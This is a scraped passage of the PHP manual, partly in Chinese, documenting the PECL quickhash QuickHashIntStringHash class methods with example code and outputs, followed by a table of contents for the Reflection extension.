public QuickHashIntStringHash::add(int $key, string $value): bool

This method adds a new entry to the hash, and returns whether the entry was added. Entries are by default always added unless QuickHashIntStringHash::CHECK_FOR_DUPES has been passed when the hash was created.

参数

key

The key of the entry to add.

value

The value of the entry to add. If a non-string is passed, it will be converted to a string automatically if possible.

返回值

true when the entry was added, and false if the entry was not added.

示例

Example #1 QuickHashIntStringHash::add() example

<?php
echo "without dupe checking\n";
$hash = new QuickHashIntStringHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, "twenty two" ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, "twelve" ) );

echo "\nwith dupe checking\n";
$hash = new QuickHashIntStringHash( 1024, QuickHashIntStringHash::CHECK_FOR_DUPES );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, "seventy eight" ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, "nine" ) );
?>

以上示例的输出类似于：

without dupe checking
bool(false)
bool(false)
bool(true)
bool(true)
string(10) "twenty two"
bool(true)

with dupe checking
bool(false)
bool(false)
bool(true)
bool(true)
string(13) "seventy eight"
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new QuickHashIntStringHash object

  • ? QuickHashIntStringHash::add
  • QuickHashIntStringHash::delete ?
  • PHP Manual
  • QuickHashIntStringHash
  • Creates a new QuickHashIntStringHash object

QuickHashIntStringHash::__construct

(PECL quickhash >= Unknown)

QuickHashIntStringHash::__construct — Creates a new QuickHashIntStringHash object

说明

public QuickHashIntStringHash::__construct(int $size, int $options = 0)

This constructor creates a new QuickHashIntStringHash. The size is the amount of bucket lists to create. The more lists there are, the less collisions you will have. Options are also supported.

参数

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 64 to 4194304.

options

The options that you can pass in are: QuickHashIntStringHash::CHECK_FOR_DUPES, which makes sure no duplicate entries are added to the hash; QuickHashIntStringHash::DO_NOT_USE_ZEND_ALLOC to not use PHP's internal memory manager as well as one of QuickHashIntStringHash::HASHER_NO_HASH, QuickHashIntStringHash::HASHER_JENKINS1 or QuickHashIntStringHash::HASHER_JENKINS2. These last three configure which hashing algorithm to use. All options can be combined using bitmasks.

返回值

Returns a new QuickHashIntStringHash object.

示例

Example #1 QuickHashIntStringHash::__construct() example

<?php
var_dump( new QuickHashIntStringHash( 1024 ) );
var_dump( new QuickHashIntStringHash( 1024, QuickHashIntStringHash::CHECK_FOR_DUPES ) );
var_dump(
new QuickHashIntStringHash(
1024,
QuickHashIntStringHash::DO_NOT_USE_ZEND_ALLOC | QuickHashIntStringHash::HASHER_JENKINS2
)
);
?>

User Contributed Notes

There are no user contributed notes for this page.


This method deletes an entry from the hash

  • ? QuickHashIntStringHash::__construct
  • QuickHashIntStringHash::exists ?
  • PHP Manual
  • QuickHashIntStringHash
  • This method deletes an entry from the hash

QuickHashIntStringHash::delete

(PECL quickhash >= Unknown)

QuickHashIntStringHash::delete — This method deletes an entry from the hash

说明

public QuickHashIntStringHash::delete(int $key): bool

This method deletes an entry from the hash, and returns whether the entry was deleted or not. Associated memory structures will not be freed immediately, but rather when the hash itself is freed.

Elements can not be deleted when the hash is used in an iterator. The method will not throw an exception, but simply return false like would happen with any other deletion failure.

参数

key

The key of the entry to delete.

返回值

true when the entry was deleted, and false if the entry was not deleted.

示例

Example #1 QuickHashIntStringHash::delete() example

<?php
$hash = new QuickHashIntStringHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, "five" ) );
var_dump( $hash->delete( 4 ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->delete( 4 ) );
?>

以上示例的输出类似于：

bool(false)
bool(true)
bool(true)
bool(false)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


This method checks whether a key is part of the hash

  • ? QuickHashIntStringHash::delete
  • QuickHashIntStringHash::get ?
  • PHP Manual
  • QuickHashIntStringHash
  • This method checks whether a key is part of the hash

QuickHashIntStringHash::exists

(PECL quickhash >= Unknown)

QuickHashIntStringHash::exists — This method checks whether a key is part of the hash

说明

public QuickHashIntStringHash::exists(int $key): bool

This method checks whether an entry with the provided key exists in the hash.

参数

key

The key of the entry to check for whether it exists in the hash.

返回值

Returns true when the entry was found, or false when the entry is not found.

User Contributed Notes

There are no user contributed notes for this page.


This method retrieves a value from the hash by its key

  • ? QuickHashIntStringHash::exists
  • QuickHashIntStringHash::getSize ?
  • PHP Manual
  • QuickHashIntStringHash
  • This method retrieves a value from the hash by its key

QuickHashIntStringHash::get

(PECL quickhash >= Unknown)

QuickHashIntStringHash::get — This method retrieves a value from the hash by its key

说明

public QuickHashIntStringHash::get(int $key): mixed

This method retrieves a value from the hash by its key.

参数

key

The key of the entry to retrieve.

返回值

The value if the key exists, or null if the key wasn't part of the hash.

示例

Example #1 QuickHashIntStringHash::get() example

<?php
$hash = new QuickHashIntStringHash( 8 );
var_dump( $hash->get( 1 ) );

var_dump( $hash->add( 2, "two" ) );
var_dump( $hash->get( 2 ) );

var_dump( $hash->add( 3, 5 ) );
var_dump( $hash->get( 3 ) );
?>

以上示例的输出类似于：

bool(false)
bool(true)
string(3) "two"
bool(true)
string(1) "5"

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of elements in the hash

  • ? QuickHashIntStringHash::get
  • QuickHashIntStringHash::loadFromFile ?
  • PHP Manual
  • QuickHashIntStringHash
  • Returns the number of elements in the hash

QuickHashIntStringHash::getSize

(PECL quickhash >= Unknown)

QuickHashIntStringHash::getSize — Returns the number of elements in the hash

说明

public QuickHashIntStringHash::getSize(): int

Returns the number of elements in the hash.

参数

此函数没有参数。

返回值

The number of elements in the hash.

示例

Example #1 QuickHashIntStringHash::getSize() example

<?php
$hash = new QuickHashIntStringHash( 8 );
var_dump( $hash->add( 2, "two" ) );
var_dump( $hash->add( 3, 5 ) );
var_dump( $hash->getSize() );
?>

以上示例的输出类似于：

bool(true)
bool(true)
int(2)

User Contributed Notes

There are no user contributed notes for this page.


This factory method creates a hash from a file

  • ? QuickHashIntStringHash::getSize
  • QuickHashIntStringHash::loadFromString ?
  • PHP Manual
  • QuickHashIntStringHash
  • This factory method creates a hash from a file

QuickHashIntStringHash::loadFromFile

(PECL quickhash >= Unknown)

QuickHashIntStringHash::loadFromFile — This factory method creates a hash from a file

说明

public static QuickHashIntStringHash::loadFromFile(string $filename, int $size = 0, int $options = 0): QuickHashIntStringHash

This factory method creates a new hash from a definition file on disk. The file format consists of a signature 'QH\0x12\0', the number of elements as a 32 bit signed integer in system Endianness, an unsigned 32 bit integer containing the number of element data to follow in characters. This element data contains all the strings. After the header and the strings, the elements follow in pairs of two unsigned 32 bit integers where the first one is the key, and the second one the index in the element data string. An example could be:

Example #1 QuickHash IntString file format

00000000  51 48 12 00 02 00 00 00  09 00 00 00 4f 4e 45 00  |QH..........ONE.|
00000010  4e 49 4e 45 00 01 00 00  00 00 00 00 00 03 00 00  |NINE............|
00000020  00 04 00 00 00                                    |.....|
00000025

Example #2 QuickHash IntString file format

header signature ('QH'; key type: 1; value type: 2; filler: \0x00)
00000000  51 48 12 00

number of elements:
00000004  02 00 00 00

length of string values (9 characters):
00000008  09 00 00 00

string values:
0000000C  4f 4e 45 00 4e 49 4e 45  00

data string:
00000015  01 00 00 00 00 00 00 00  03 00 00 00 04 00 00 00

key/value 1 (key = 1, string index = 0 ("ONE")):
01 00 00 00  00 00 00 00

key/value 2 (key = 3, string index = 4 ("NINE")):
03 00 00 00  04 00 00 00

参数

filename

The filename of the file to read the hash from.

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 4 to 4194304.

options

The same options that the class' constructor takes; except that the size option is ignored. It is automatically calculated to be the same as the number of entries in the hash, rounded up to the nearest power of two with a maximum limit of 4194304.

返回值

Returns a new QuickHashIntStringHash.

示例

Example #3 QuickHashIntStringHash::loadFromFile() example

<?php
$file = dirname( __FILE__ ) . "/simple.string.hash";
$hash = QuickHashIntStringHash::loadFromFile(
$file,
QuickHashIntStringHash::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
printf( "Key %3d (%2x) is %s\n",
$key, $key,
$hash->exists( $key ) ? 'set' : 'unset'
);
}
?>

以上示例的输出类似于：

Key   0 ( 0) is unset
Key   1 ( 1) is set
Key   2 ( 2) is set
Key   3 ( 3) is set
Key   4 ( 4) is unset
Key   5 ( 5) is set
Key   6 ( 6) is unset
Key   7 ( 7) is set
Key   8 ( 8) is unset
Key   9 ( 9) is unset
Key  10 ( a) is unset
Key  11 ( b) is set
Key  12 ( c) is unset
Key  13 ( d) is set
Key  14 ( e) is unset
Key  15 ( f) is unset

User Contributed Notes

There are no user contributed notes for this page.


This factory method creates a hash from a string

  • ? QuickHashIntStringHash::loadFromFile
  • QuickHashIntStringHash::saveToFile ?
  • PHP Manual
  • QuickHashIntStringHash
  • This factory method creates a hash from a string

QuickHashIntStringHash::loadFromString

(PECL quickhash >= Unknown)

QuickHashIntStringHash::loadFromString — This factory method creates a hash from a string

说明

public static QuickHashIntStringHash::loadFromString(string $contents, int $size = 0, int $options = 0): QuickHashIntStringHash

This factory method creates a new hash from a definition in a string. The format is the same as the one used in "loadFromFile".

参数

contents

The string containing a serialized format of the hash.

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 4 to 4194304.

options

The same options that the class' constructor takes; except that the size option is ignored. It is automatically calculated to be the same as the number of entries in the hash, rounded up to the nearest power of two with a maximum limit of 4194304.

返回值

Returns a new QuickHashIntStringHash.

示例

Example #1 QuickHashIntStringHash::loadFromString() example

<?php
$contents = file_get_contents( dirname( __FILE__ ) . "/simple.hash" );
$hash = QuickHashIntStringHash::loadFromString(
$contents,
QuickHashIntStringHash::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
printf( "Key %3d (%2x) is %s\n",
$key, $key,
$hash->exists( $key ) ? 'set' : 'unset'
);
}
?>

以上示例的输出类似于：

Key   0 ( 0) is unset
Key   1 ( 1) is set
Key   2 ( 2) is set
Key   3 ( 3) is set
Key   4 ( 4) is unset
Key   5 ( 5) is set
Key   6 ( 6) is unset
Key   7 ( 7) is set
Key   8 ( 8) is unset
Key   9 ( 9) is unset
Key  10 ( a) is unset
Key  11 ( b) is set
Key  12 ( c) is unset
Key  13 ( d) is set
Key  14 ( e) is unset
Key  15 ( f) is unset

User Contributed Notes

There are no user contributed notes for this page.


This method stores an in-memory hash to disk

  • ? QuickHashIntStringHash::loadFromString
  • QuickHashIntStringHash::saveToString ?
  • PHP Manual
  • QuickHashIntStringHash
  • This method stores an in-memory hash to disk

QuickHashIntStringHash::saveToFile

(PECL quickhash >= Unknown)

QuickHashIntStringHash::saveToFile — This method stores an in-memory hash to disk

说明

public QuickHashIntStringHash::saveToFile(string $filename): void

This method stores an existing hash to a file on disk, in the same format that loadFromFile() can read.

参数

filename

The filename of the file to store the hash in.

返回值

没有返回值。

示例

Example #1 QuickHashIntStringHash::saveToFile() example

<?php
$hash = new QuickHashIntStringHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, "forty three" ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, "fifty two" ) );

$hash->saveToFile( '/tmp/test.string.hash' );
?>

User Contributed Notes

There are no user contributed notes for this page.


This method returns a serialized version of the hash

  • ? QuickHashIntStringHash::saveToFile
  • QuickHashIntStringHash::set ?
  • PHP Manual
  • QuickHashIntStringHash
  • This method returns a serialized version of the hash

QuickHashIntStringHash::saveToString

(PECL quickhash >= Unknown)

QuickHashIntStringHash::saveToString — This method returns a serialized version of the hash

说明

public QuickHashIntStringHash::saveToString(): string

This method returns a serialized version of the hash in the same format that QuickHashIntStringHash::loadFromString() can read.

参数

此函数没有参数。

返回值

This method returns a string containing a serialized format of the hash. Each element is stored as a four byte value in the Endianness that the current system uses.

示例

Example #1 QuickHashIntStringHash::saveToString() example

<?php
$hash = new QuickHashIntStringHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, "thirty four" ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 5, "fifty five" ) );

var_dump( $hash->saveToString() );
?>

User Contributed Notes

There are no user contributed notes for this page.


This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist

  • ? QuickHashIntStringHash::saveToString
  • QuickHashIntStringHash::update ?
  • PHP Manual
  • QuickHashIntStringHash
  • This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist

QuickHashIntStringHash::set

(PECL quickhash >= Unknown)

QuickHashIntStringHash::set — This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist

说明

public QuickHashIntStringHash::set(int $key, string $value): int

This method tries to update an entry with a new value. In case the entry did not yet exist, it will instead add a new entry. It returns whether the entry was added or update. If there are duplicate keys, only the first found element will get an updated value. Use QuickHashIntStringHash::CHECK_FOR_DUPES during hash creation to prevent duplicate keys from being part of the hash.

参数

key

The key of the entry to add or update.

value

The value of the entry to add. If a non-string is passed, it will be converted to a string automatically if possible.

返回值

2 if the entry was found and updated, 1 if the entry was newly added or 0 if there was an error.

示例

Example #1 QuickHashIntStringHash::set() example

<?php
$hash = new QuickHashIntStringHash( 1024 );

echo "Set->Add\n";
var_dump( $hash->get( 46692 ) );
var_dump( $hash->set( 46692, "sixteen thousand ninety one" ) );
var_dump( $hash->get( 46692 ) );

echo "Set->Update\n";
var_dump( $hash->set( 46692, "twenty nine thousand nine hundred six" ) );
var_dump( $hash->get( 46692 ) );
?>

以上示例的输出类似于：

Set->Add
bool(false)
int(2)
string(27) "sixteen thousand ninety one"
Set->Update
int(1)
string(37) "twenty nine thousand nine hundred six"

User Contributed Notes

There are no user contributed notes for this page.


This method updates an entry in the hash with a new value

  • ? QuickHashIntStringHash::set
  • 反射 ?
  • PHP Manual
  • QuickHashIntStringHash
  • This method updates an entry in the hash with a new value

QuickHashIntStringHash::update

(PECL quickhash >= Unknown)

QuickHashIntStringHash::update — This method updates an entry in the hash with a new value

说明

public QuickHashIntStringHash::update(int $key, string $value): bool

This method updates an entry with a new value, and returns whether the entry was update. If there are duplicate keys, only the first found element will get an updated value. Use QuickHashIntStringHash::CHECK_FOR_DUPES during hash creation to prevent duplicate keys from being part of the hash.

参数

key

The key of the entry to update.

value

The new value for the entry. If a non-string is passed, it will be converted to a string automatically if possible.

返回值

true when the entry was found and updated, and false if the entry was not part of the hash already.

示例

Example #1 QuickHashIntStringHash::update() example

<?php
$hash->add( 161803398, "--" );
$hash->add( 314159265, "a lot" );

echo $hash->get( 161803398 ), "\n";
echo $hash->get( 314159265 ), "\n";

var_dump( $hash->update( 314159265, "a lot plus one" ) );
var_dump( $hash->update( 314159999, "a lot plus one" ) );

echo $hash->get( 161803398 ), "\n";
echo $hash->get( 314159265 ), "\n";
?>

以上示例的输出类似于：

--
a lot
bool(true)
bool(false)
--
a lot plus one

User Contributed Notes

There are no user contributed notes for this page.


反射

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • 扩展
  • Reflection — Reflection 类
    • Reflection::export — 导出
    • Reflection::getModifierNames — 获取修饰符的名称
  • ReflectionClass — ReflectionClass 类
    • ReflectionClass::__construct — 初始化 ReflectionClass 类
    • ReflectionClass::export — 导出类
    • ReflectionClass::getAttributes — 获取所有属性
    • ReflectionClass::getConstant — 获取已定义的常量
    • ReflectionClass::getConstants — 获取常量
    • ReflectionClass::getConstructor — 获取类的构造函数
    • ReflectionClass::getDefaultProperties — 获取默认属性
    • ReflectionClass::getDocComment — 获取文档注释
    • ReflectionClass::getEndLine — 获取最后一行的行数
    • ReflectionClass::getExtension — 根据已定义的类获取所在扩展的 ReflectionExtension 对象
    • ReflectionClass::getExtensionName — 获取定义的类所在的扩展的名称
    • ReflectionClass::getFileName — 获取定义类的文件名
    • ReflectionClass::getInterfaceNames — 获取接口（interface）名称
    • ReflectionClass::getInterfaces — 获取接口
    • ReflectionClass::getMethod — 获取类方法的 ReflectionMethod
    • ReflectionClass::getMethods — 获取方法的数组
    • ReflectionClass::getModifiers — 获取类的修饰符
    • ReflectionClass::getName — 获取类名
    • ReflectionClass::getNamespaceName — 获取命名空间的名称
    • ReflectionClass::getParentClass — 获取父类
    • ReflectionClass::getProperties — 获取属性
    • ReflectionClass::getProperty — 获取类的一个属性的 ReflectionProperty
    • ReflectionClass::getReflectionConstant — Gets a ReflectionClassConstant for a class's constant
    • ReflectionClass::getReflectionConstants — Gets class constants
    • ReflectionClass::getShortName — 获取短名
    • ReflectionClass::getStartLine — 获取起始行号
    • ReflectionClass::getStaticProperties — 获取静态（static）属性
    • ReflectionClass::getStaticPropertyValue — 获取静态（static）属性的值
    • ReflectionClass::getTraitAliases — 返回 trait 别名数组
    • ReflectionClass::getTraitNames — 返回这个类所使用 traits 的名称的数组
    • ReflectionClass::getTraits — 返回这个类所使用的 traits 数组
    • ReflectionClass::hasConstant — 检查常量是否已经定义
    • ReflectionClass::hasMethod — 检查方法是否已定义
    • ReflectionClass::hasProperty — 检查属性是否已定义
    • ReflectionClass::implementsInterface — 实现接口
    • ReflectionClass::inNamespace — 检查是否位于命名空间中
    • ReflectionClass::isAbstract — 检查类是否是抽象类（abstract）
    • ReflectionClass::isAnonymous — 检查类是否是匿名类
    • ReflectionClass::isCloneable — 返回了一个类是否可复制
    • ReflectionClass::isEnum — Returns whether this is an enum
    • ReflectionClass::isFinal — 检查类是否声明为 final
    • ReflectionClass::isInstance — 检查类的实例
    • ReflectionClass::isInstantiable — 检查类是否可实例化
    • ReflectionClass::isInterface — 检查类是否是一个接口（interface）
    • ReflectionClass::isInternal — 检查类是否由扩展或核心在内部定义
    • ReflectionClass::isIterable — Check whether this class is iterable
    • ReflectionClass::isIterateable — 别名 ReflectionClass::isIterable
    • ReflectionClass::isReadOnly — Checks if class is readonly
    • ReflectionClass::isSubclassOf — 检查是否为子类
    • ReflectionClass::isTrait — 返回了是否是 trait
    • ReflectionClass::isUserDefined — 检查是否由用户定义的
    • ReflectionClass::newInstance — 从指定的参数创建新类实例
    • ReflectionClass::newInstanceArgs — 从给出的参数创建一个新的类实例
    • ReflectionClass::newInstanceWithoutConstructor — 创建新的类实例而不调用它的构造函数
    • ReflectionClass::setStaticPropertyValue — 设置静态属性的值
    • ReflectionClass::__toString — 返回 ReflectionClass 对象字符串的表示形式
  • ReflectionClassConstant — The ReflectionClassConstant class
    • ReflectionClassConstant::__construct — Constructs a ReflectionClassConstant
    • ReflectionClassConstant::export — Export
    • ReflectionClassConstant::getAttributes — Gets Attributes
    • ReflectionClassConstant::getDeclaringClass — Gets declaring class
    • ReflectionClassConstant::getDocComment — Gets doc comments
    • ReflectionClassConstant::getModifiers — Gets the class constant modifiers
    • ReflectionClassConstant::getName — Get name of the constant
    • ReflectionClassConstant::getValue — Gets value
    • ReflectionClassConstant::isEnumCase — Checks if class constant is an Enum case
    • ReflectionClassConstant::isFinal — Checks if class constant is final
    • ReflectionClassConstant::isPrivate — Checks if class constant is private
    • ReflectionClassConstant::isProtected — Checks if class constant is protected
    • ReflectionClassConstant::isPublic — Checks if class constant is public
    • ReflectionClassConstant::__toString — Returns the string representation of the ReflectionClassConstant object
  • ReflectionEnum — ReflectionEnum 类
    • ReflectionEnum::__construct — 实例化 ReflectionEnum 对象
    • ReflectionEnum::getBackingType — 获取枚举回退的类型
    • ReflectionEnum::getCase — 返回指定的枚举条目
    • ReflectionEnum::getCases — 返回枚举中的所有条目的清单
    • ReflectionEnum::hasCase — 在枚举上检测条目
    • ReflectionEnum::isBacked — 检测 Enum 是否为回退（Backed）Enum
  • ReflectionEnumUnitCase — ReflectionEnumUnitCase 类
    • ReflectionEnumUnitCase::__construct — Instantiates a ReflectionEnumUnitCase object
    • ReflectionEnumUnitCase::getEnum — 获取该枚举条目的反射
    • ReflectionEnumUnitCase::getValue — 获取反射对象描述的枚举条目对象
  • ReflectionEnumBackedCase — ReflectionEnumBackedCase 类
    • ReflectionEnumBackedCase::__construct — Instantiates a ReflectionEnumBackedCase object
    • ReflectionEnumBackedCase::getBackingValue — 获取枚举条目回退的标量值
  • ReflectionZendExtension — ReflectionZendExtension 类
    • ReflectionZendExtension::__clone — Clone handler
    • ReflectionZendExtension::__construct — Constructs a ReflectionZendExtension object
    • ReflectionZendExtension::export — Export
    • ReflectionZendExtension::getAuthor — Gets author
    • ReflectionZendExtension::getCopyright — Gets copyright
    • ReflectionZendExtension::getName — Gets name
    • ReflectionZendExtension::getURL — Gets URL
    • ReflectionZendExtension::getVersion — Gets version
    • ReflectionZendExtension::__toString — To string handler
  • ReflectionExtension — ReflectionExtension 类
    • ReflectionExtension::__clone — 克隆
    • ReflectionExtension::__construct — 构造 ReflectionExtension
    • ReflectionExtension::export — Export
    • ReflectionExtension::getClasses — 获取类列表
    • ReflectionExtension::getClassNames — 获取类名列表
    • ReflectionExtension::getConstants — 获取常量
    • ReflectionExtension::getDependencies — 获取依赖
    • ReflectionExtension::getFunctions — 获取扩展中的函数
    • ReflectionExtension::getINIEntries — 获取 ini 配置
    • ReflectionExtension::getName — 获取扩展名称
    • ReflectionExtension::getVersion — 获取扩展版本
    • ReflectionExtension::info — 输出扩展信息
    • ReflectionExtension::isPersistent — 返回扩展是否持久化的
    • ReflectionExtension::isTemporary — 返回扩展是否是临时载入
    • ReflectionExtension::__toString — 生成字符串
  • ReflectionFunction — ReflectionFunction 类
    • ReflectionFunction::__construct — Constructs a ReflectionFunction object
    • ReflectionFunction::export — Exports function
    • ReflectionFunction::getClosure — Returns a dynamically created closure for the function
    • ReflectionFunction::invoke — Invokes function
    • ReflectionFunction::invokeArgs — Invokes function args
    • ReflectionFunction::isAnonymous — Checks if a function is anonymous
    • ReflectionFunction::isDisabled — Checks if function is disabled
    • ReflectionFunction::__toString — Returns the string representation of the ReflectionFunction object
  • ReflectionFunctionAbstract — ReflectionFunctionAbstract 类
    • ReflectionFunctionAbstract::__clone — 复制函数
    • ReflectionFunctionAbstract::getAttributes — Gets Attributes
    • ReflectionFunctionAbstract::getClosureScopeClass — Returns the scope class associated with the closure
    • ReflectionFunctionAbstract::getClosureThis — 返回本身的匿名函数
    • ReflectionFunctionAbstract::getClosureUsedVariables — Returns an array of the used variables in the Closure
    • ReflectionFunctionAbstract::getDocComment — 获取注释内容
    • ReflectionFunctionAbstract::getEndLine — 获取结束行号
    • ReflectionFunctionAbstract::getExtension — 获取扩展信息
    • ReflectionFunctionAbstract::getExtensionName — 获取扩展名称
    • ReflectionFunctionAbstract::getFileName — 获取文件名称
    • ReflectionFunctionAbstract::getName — 获取函数名称
    • ReflectionFunctionAbstract::getNamespaceName — 获取命名空间
    • ReflectionFunctionAbstract::getNumberOfParameters — 获取参数数目
    • ReflectionFunctionAbstract::getNumberOfRequiredParameters — 获取必须输入参数个数
    • ReflectionFunctionAbstract::getParameters — 获取参数
    • ReflectionFunctionAbstract::getReturnType — Gets the specified return type of a function
    • ReflectionFunctionAbstract::getShortName — 获取函数短名称
    • ReflectionFunctionAbstract::getStartLine — 获取开始行号
    • ReflectionFunctionAbstract::getStaticVariables — 获取静态变量
    • ReflectionFunctionAbstract::getTentativeReturnType — Returns the tentative return type associated with the function
    • ReflectionFunctionAbstract::hasReturnType — Checks if the function has a specified return type
    • ReflectionFunctionAbstract::hasTentativeReturnType — Returns whether the function has a tentative return type
    • ReflectionFunctionAbstract::inNamespace — 检查是否处于命名空间
    • ReflectionFunctionAbstract::isClosure — 检查是否是匿名函数
    • ReflectionFunctionAbstract::isDeprecated — 检查是否已经弃用
    • ReflectionFunctionAbstract::isGenerator — 判断函数是否是一个生成器函数
    • ReflectionFunctionAbstract::isInternal — 判断函数是否是内置函数
    • ReflectionFunctionAbstract::isStatic — 判断函数是否为 static
    • ReflectionFunctionAbstract::isUserDefined — 检查是否是用户定义
    • ReflectionFunctionAbstract::isVariadic — Checks if the function is variadic
    • ReflectionFunctionAbstract::returnsReference — 检查是否返回引用
    • ReflectionFunctionAbstract::__toString — 返回表示 ReflectionFunctionAbstract 对象的字符串
  • ReflectionMethod — ReflectionMethod 类
    • ReflectionMethod::__construct — 构造 ReflectionMethod
    • ReflectionMethod::createFromMethodName — Creates a new ReflectionMethod
    • ReflectionMethod::export — 导出 reflection 方法
    • ReflectionMethod::getClosure — 返回动态建立的方法调用接口（译者注：可以使用这个返回值直接调用非公开方法）
    • ReflectionMethod::getDeclaringClass — 获取被反射的方法所在类的反射实例
    • ReflectionMethod::getModifiers — 获取方法的修饰符
    • ReflectionMethod::getPrototype — 返回方法原型 (如果存在)
    • ReflectionMethod::hasPrototype — Returns whether a method has a prototype
    • ReflectionMethod::invoke — Invoke
    • ReflectionMethod::invokeArgs — 带参数执行
    • ReflectionMethod::isAbstract — 判断方法是否是抽象方法
    • ReflectionMethod::isConstructor — 判断方法是否是构造方法
    • ReflectionMethod::isDestructor — 判断方法是否是析构方法
    • ReflectionMethod::isFinal — 判断方法是否定义 final
    • ReflectionMethod::isPrivate — 判断方法是否是私有
    • ReflectionMethod::isProtected — 判断方法是否是 protected
    • ReflectionMethod::isPublic — 判断方法是否是 public
    • ReflectionMethod::setAccessible — 设置方法是否可访问
    • ReflectionMethod::__toString — 返回反射方法对象的字符串表达
  • ReflectionNamedType — ReflectionNamedType 类
    • ReflectionNamedType::getName — 以字符串形式获取类型的名称
    • ReflectionNamedType::isBuiltin — 检查它是否是内置类型
  • ReflectionObject — ReflectionObject 类
    • ReflectionObject::__construct — Constructs a ReflectionObject
    • ReflectionObject::export — Export
  • ReflectionParameter — ReflectionParameter 类
    • ReflectionParameter::allowsNull — Checks if null is allowed
    • ReflectionParameter::canBePassedByValue — Returns whether this parameter can be passed by value
    • ReflectionParameter::__clone — Clone
    • ReflectionParameter::__construct — Construct
    • ReflectionParameter::export — Exports
    • ReflectionParameter::getAttributes — Gets Attributes
    • ReflectionParameter::getClass — 获取参数的 ReflectionClass 对象或为 null
    • ReflectionParameter::getDeclaringClass — Gets declaring class
    • ReflectionParameter::getDeclaringFunction — Gets declaring function
    • ReflectionParameter::getDefaultValue — Gets default parameter value
    • ReflectionParameter::getDefaultValueConstantName — Returns the default value's constant name if default value is constant or null
    • ReflectionParameter::getName — Gets parameter name
    • ReflectionParameter::getPosition — Gets parameter position
    • ReflectionParameter::getType — Gets a parameter's type
    • ReflectionParameter::hasType — Checks if parameter has a type
    • ReflectionParameter::isArray — Checks if parameter expects an array
    • ReflectionParameter::isCallable — Returns whether parameter MUST be callable
    • ReflectionParameter::isDefaultValueAvailable — 检查默认是否可用
    • ReflectionParameter::isDefaultValueConstant — Returns whether the default value of this parameter is a constant
    • ReflectionParameter::isOptional — Checks if optional
    • ReflectionParameter::isPassedByReference — Checks if passed by reference
    • ReflectionParameter::isVariadic — Checks if the parameter is variadic
    • ReflectionParameter::__toString — To string
  • ReflectionProperty — ReflectionProperty 类
    • ReflectionProperty::__clone — Clone
    • ReflectionProperty::__construct — Construct a ReflectionProperty object
    • ReflectionProperty::export — Export
    • ReflectionProperty::getAttributes — Gets Attributes
    • ReflectionProperty::getDeclaringClass — Gets declaring class
    • ReflectionProperty::getDefaultValue — Returns the default value declared for a property
    • ReflectionProperty::getDocComment — Gets the property doc comment
    • ReflectionProperty::getModifiers — Gets the property modifiers
    • ReflectionProperty::getName — Gets property name
    • ReflectionProperty::getType — Gets a property's type
    • ReflectionProperty::getValue — Gets value
    • ReflectionProperty::hasDefaultValue — Checks if property has a default value declared
    • ReflectionProperty::hasType — Checks if property has a type
    • ReflectionProperty::isDefault — Checks if property is a default property
    • ReflectionProperty::isInitialized — Checks whether a property is initialized
    • ReflectionProperty::isPrivate — Checks if property is private
    • ReflectionProperty::isPromoted — Checks if property is promoted
    • ReflectionProperty::isProtected — Checks if property is protected
    • ReflectionProperty::isPublic — Checks if property is public
    • ReflectionProperty::isReadOnly — 检查属性是否为只读
    • ReflectionProperty::isStatic — Checks if property is static
    • ReflectionProperty::setAccessible — Set property accessibility
    • ReflectionProperty::setValue — Set property value
    • ReflectionProperty::__toString — To string
  • ReflectionType — ReflectionType 类
    • ReflectionType::allowsNull — Checks if null is allowed
    • ReflectionType::__toString — To string
  • ReflectionUnionType — ReflectionUnionType 类
    • ReflectionUnionType::getTypes — 返回联合类型中包含的类型
  • ReflectionGenerator — ReflectionGenerator 类
    • ReflectionGenerator::__construct — Constructs a ReflectionGenerator object
    • ReflectionGenerator::getExecutingFile — Gets the file name of the currently executing generator
    • ReflectionGenerator::getExecutingGenerator — Gets the executing Generator object
    • ReflectionGenerator::getExecutingLine — Gets the currently executing line of the generator
    • ReflectionGenerator::getFunction — Gets the function name of the generator
    • ReflectionGenerator::getThis — Gets the $this value of the generator
    • ReflectionGenerator::getTrace — Gets the trace of the executing generator
  • ReflectionFiber — ReflectionFiber 类
    • ReflectionFiber::__construct — Constructs a ReflectionFiber object
    • ReflectionFiber::getCallable — Gets the callable used to create the Fiber
    • ReflectionFiber::getExecutingFile — Get the file name of the current execution point
    • ReflectionFiber::getExecutingLine — Get the line number of the current execution point
    • ReflectionFiber::getFiber — Get the reflected Fiber instance
    • ReflectionFiber::getTrace — Get the backtrace of the current execution point
  • ReflectionIntersectionType — ReflectionIntersectionType 类
    • ReflectionIntersectionType::getTypes — 返回包含在交集类型中的类型
  • ReflectionReference — ReflectionReference 类
    • ReflectionReference::__construct — 私有构造函数以禁用直接实例化
    • ReflectionReference::fromArrayElement — 从数组元素创建一个 ReflectionReference
    • ReflectionReference::getId — 获取引用的唯一 ID
